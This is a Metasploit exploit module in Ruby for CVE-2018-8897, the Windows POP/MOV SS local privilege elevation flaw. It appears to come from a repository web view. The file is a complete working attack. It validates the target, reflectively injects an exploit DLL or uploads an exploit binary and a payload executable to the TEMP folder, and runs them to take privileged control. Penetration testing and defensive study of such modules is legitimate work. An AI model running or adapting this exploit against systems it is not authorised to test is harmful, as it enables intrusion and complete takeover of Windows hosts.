75ba9110e2
Utilised it in various existing modules - this should fix some subtle bugs in specific modules' version detection.
195 lines
6.7 KiB
Ruby
195 lines
6.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::Common
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Process
|
|
include Msf::Exploit::EXE
|
|
include Msf::Post::Windows::ReflectiveDLLInjection
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in a statement in the system programming guide
|
|
of the Intel 64 and IA-32 architectures software developer's manual being mishandled
|
|
in various operating system kerneles, resulting in unexpected behavior for #DB
|
|
excpetions that are deferred by MOV SS or POP SS.
|
|
|
|
This module will upload the pre-compiled exploit and use it to execute the final
|
|
payload in order to gain remote code execution.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Nick Peterson', # Original discovery (@nickeverdox)
|
|
'Nemanja Mulasmajic', # Original discovery (@0xNemi)
|
|
'Can Bölük <can1357>', # PoC
|
|
'bwatters-r7' # msf module
|
|
],
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'Targets' => [
|
|
['Windows x64', { 'Arch' => ARCH_X64 }]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2018-05-08',
|
|
'References' => [
|
|
['CVE', '2018-8897'],
|
|
['EDB', '44697'],
|
|
['BID', '104071'],
|
|
['URL', 'https://github.com/can1357/CVE-2018-8897/'],
|
|
['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/']
|
|
],
|
|
'DefaultOptions' => {
|
|
'DisablePayloadHandler' => false
|
|
},
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_sys_config_getenv
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptBool.new('USE_INJECTION',
|
|
[true, 'Use in-memory dll injection rather than exe file uploads.', true]),
|
|
OptString.new('EXPLOIT_NAME',
|
|
[false, 'The filename to use for the exploit binary if USE_INJECTION=false (%RAND% by default).', nil]),
|
|
OptString.new('PAYLOAD_NAME',
|
|
[false, 'The filename for the payload to be used on the target host if USE_INJECTION=false (%RAND%.exe by default).', nil]),
|
|
OptString.new('PATH',
|
|
[false, 'Path to write binaries if if USE_INJECTION=false(%TEMP% by default).', nil]),
|
|
OptInt.new('EXECUTE_DELAY',
|
|
[false, 'The number of seconds to delay before executing the exploit if USE_INJECTION=false', 3])
|
|
])
|
|
end
|
|
|
|
def setup
|
|
super
|
|
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
|
|
@payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
|
|
@exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
|
|
@payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i)
|
|
@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
|
|
@payload_path = "#{temp_path}\\#{payload_name}"
|
|
@exploit_path = "#{temp_path}\\#{exploit_name}"
|
|
@payload_exe = generate_payload_exe
|
|
end
|
|
|
|
def validate_active_host
|
|
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
elog(e)
|
|
raise Msf::Exploit::Failed, 'Could not connect to session'
|
|
end
|
|
|
|
def validate_remote_path(path)
|
|
unless directory?(path)
|
|
fail_with(Failure::Unreachable, "#{path} does not exist on the target")
|
|
end
|
|
end
|
|
|
|
def validate_target
|
|
if sysinfo['Architecture'] != ARCH_X64
|
|
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
|
|
end
|
|
version = get_version_info
|
|
if version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::XP_SP3)
|
|
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
|
|
end
|
|
end
|
|
|
|
def ensure_clean_destination(path)
|
|
if file?(path)
|
|
print_status("#{path} already exists on the target. Deleting...")
|
|
begin
|
|
file_rm(path)
|
|
print_status("Deleted #{path}")
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
elog(e)
|
|
print_error("Unable to delete #{path}")
|
|
end
|
|
end
|
|
end
|
|
|
|
def ensure_clean_exploit_destination
|
|
ensure_clean_destination(exploit_path)
|
|
end
|
|
|
|
def ensure_clean_payload_destination
|
|
ensure_clean_destination(payload_path)
|
|
end
|
|
|
|
def upload_exploit
|
|
local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'cve-2018-8897-exe.exe')
|
|
upload_file(exploit_path, local_exploit_path)
|
|
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
|
|
end
|
|
|
|
def upload_payload
|
|
write_file(payload_path, payload_exe)
|
|
print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
|
|
end
|
|
|
|
def execute_exploit
|
|
sleep(datastore['EXECUTE_DELAY'])
|
|
print_status("Running exploit #{exploit_path} with payload #{payload_path}")
|
|
output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}")
|
|
vprint_status(output)
|
|
end
|
|
|
|
def exploit_dll
|
|
print_status('Checking target...')
|
|
validate_active_host
|
|
validate_target
|
|
print_status('Target looks good... reflectively injecting exploit DLL and triggering exploit!')
|
|
encoded_payload = payload.encoded
|
|
execute_dll(
|
|
::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'reflective_dll.x64.dll'),
|
|
encoded_payload
|
|
)
|
|
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
elog(e)
|
|
print_error(e.message)
|
|
end
|
|
|
|
def exploit_exe
|
|
validate_remote_path(temp_path)
|
|
ensure_clean_exploit_destination
|
|
ensure_clean_payload_destination
|
|
upload_exploit
|
|
upload_payload
|
|
execute_exploit
|
|
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
elog(e)
|
|
print_error(e.message)
|
|
ensure_clean_exploit_destination
|
|
ensure_clean_payload_destination
|
|
end
|
|
|
|
def exploit
|
|
validate_active_host
|
|
validate_target
|
|
if datastore['USE_INJECTION']
|
|
exploit_dll
|
|
else
|
|
exploit_exe
|
|
end
|
|
end
|
|
|
|
attr_reader :exploit_name, :payload_name, :payload_exe, :temp_path, :payload_path, :exploit_path
|
|
end
|